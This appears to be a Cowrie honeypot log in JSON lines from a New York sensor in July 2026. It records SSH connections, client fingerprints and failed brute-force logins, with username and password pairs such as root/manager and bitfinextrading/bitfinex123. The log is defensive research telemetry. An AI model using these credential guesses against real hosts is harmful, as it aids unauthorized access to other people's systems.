{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:22.863528Z","src_ip":"91.92.40.4","session":"7971a9a09333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"wasd","message":"login attempt [hadoop/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:23.110139Z","src_ip":"91.92.40.4","session":"7971a9a09333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":56402,"dst_ip":"10.17.0.5","dst_port":22,"session":"20913a53df9f","protocol":"ssh","message":"New connection: 194.36.147.215:56402 (10.17.0.5:22) [session: 20913a53df9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:24.122188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:24.125741Z","src_ip":"194.36.147.215","session":"20913a53df9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:24.194467Z","src_ip":"91.92.40.4","session":"7971a9a09333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:24.214265Z","src_ip":"194.36.147.215","session":"20913a53df9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"keplr123","message":"login attempt [root/keplr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:24.485012Z","src_ip":"194.36.147.215","session":"20913a53df9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:25.576724Z","src_ip":"194.36.147.215","session":"20913a53df9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52220,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f54e943d63e","protocol":"ssh","message":"New connection: 8.210.75.243:52220 (10.17.0.5:22) [session: 2f54e943d63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:30.213158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:30.217452Z","src_ip":"8.210.75.243","session":"2f54e943d63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:30.421762Z","src_ip":"8.210.75.243","session":"2f54e943d63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":6270,"dst_ip":"159.203.135.109","dst_port":22,"session":"93bc3bf21855","protocol":"ssh","message":"New connection: 45.148.10.157:6270 (159.203.135.109:22) [session: 93bc3bf21855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:33.071882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:33.074476Z","src_ip":"45.148.10.157","session":"93bc3bf21855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:33.159712Z","src_ip":"45.148.10.157","session":"93bc3bf21855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:33.518343Z","src_ip":"8.210.75.243","session":"2f54e943d63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:33.533184Z","src_ip":"45.148.10.157","session":"93bc3bf21855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:35.207940Z","src_ip":"8.210.75.243","session":"2f54e943d63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.33644700050354,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:36.064831Z","src_ip":"170.64.224.25","session":"352c4a1174bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":48788,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0cae3e1354c","protocol":"ssh","message":"New connection: 162.144.213.198:48788 (10.17.0.5:22) [session: d0cae3e1354c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:36.119387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:36.123235Z","src_ip":"162.144.213.198","session":"d0cae3e1354c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:36.204624Z","src_ip":"162.144.213.198","session":"d0cae3e1354c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitfinextrading","password":"bitfinex123","message":"login attempt [bitfinextrading/bitfinex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:36.471947Z","src_ip":"162.144.213.198","session":"d0cae3e1354c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:37.557072Z","src_ip":"162.144.213.198","session":"d0cae3e1354c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36076,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1ea5865d254","protocol":"ssh","message":"New connection: 8.210.75.243:36076 (10.17.0.5:22) [session: b1ea5865d254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:40.794311Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":58182,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d3c18488aad","protocol":"ssh","message":"New connection: 165.227.170.113:58182 (10.17.0.5:22) [session: 8d3c18488aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:42.850465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:42.854626Z","src_ip":"165.227.170.113","session":"8d3c18488aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:42.942632Z","src_ip":"165.227.170.113","session":"8d3c18488aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1W2E3R4","message":"login attempt [root/Q1W2E3R4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:43.313926Z","src_ip":"165.227.170.113","session":"8d3c18488aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:44.403196Z","src_ip":"165.227.170.113","session":"8d3c18488aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.80328178405762,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:54.439636Z","src_ip":"170.64.224.25","session":"8f2992585669","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":41208,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c5932b1048f","protocol":"ssh","message":"New connection: 14.29.214.161:41208 (10.17.0.5:22) [session: 7c5932b1048f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:54.647007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:54.650979Z","src_ip":"14.29.214.161","session":"7c5932b1048f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:54.878438Z","src_ip":"14.29.214.161","session":"7c5932b1048f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manager","message":"login attempt [root/manager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:55.821061Z","src_ip":"14.29.214.161","session":"7c5932b1048f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:57.050818Z","src_ip":"14.29.214.161","session":"7c5932b1048f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":47692,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f7eac08e918","protocol":"ssh","message":"New connection: 143.20.185.207:47692 (159.203.135.109:22) [session: 2f7eac08e918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:58.171030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:58.176418Z","src_ip":"143.20.185.207","session":"2f7eac08e918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:58.310521Z","src_ip":"143.20.185.207","session":"2f7eac08e918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS4VCPU8GBAMD","message":"login attempt [root/XYZZVPS4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:58.651002Z","src_ip":"143.20.185.207","session":"2f7eac08e918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:59.775680Z","src_ip":"143.20.185.207","session":"2f7eac08e918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":42502,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d10fc2006bc","protocol":"ssh","message":"New connection: 159.65.58.200:42502 (159.203.135.109:22) [session: 6d10fc2006bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:06.714790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:06.922017Z","src_ip":"159.65.58.200","session":"6d10fc2006bc","protocol":"ssh"}
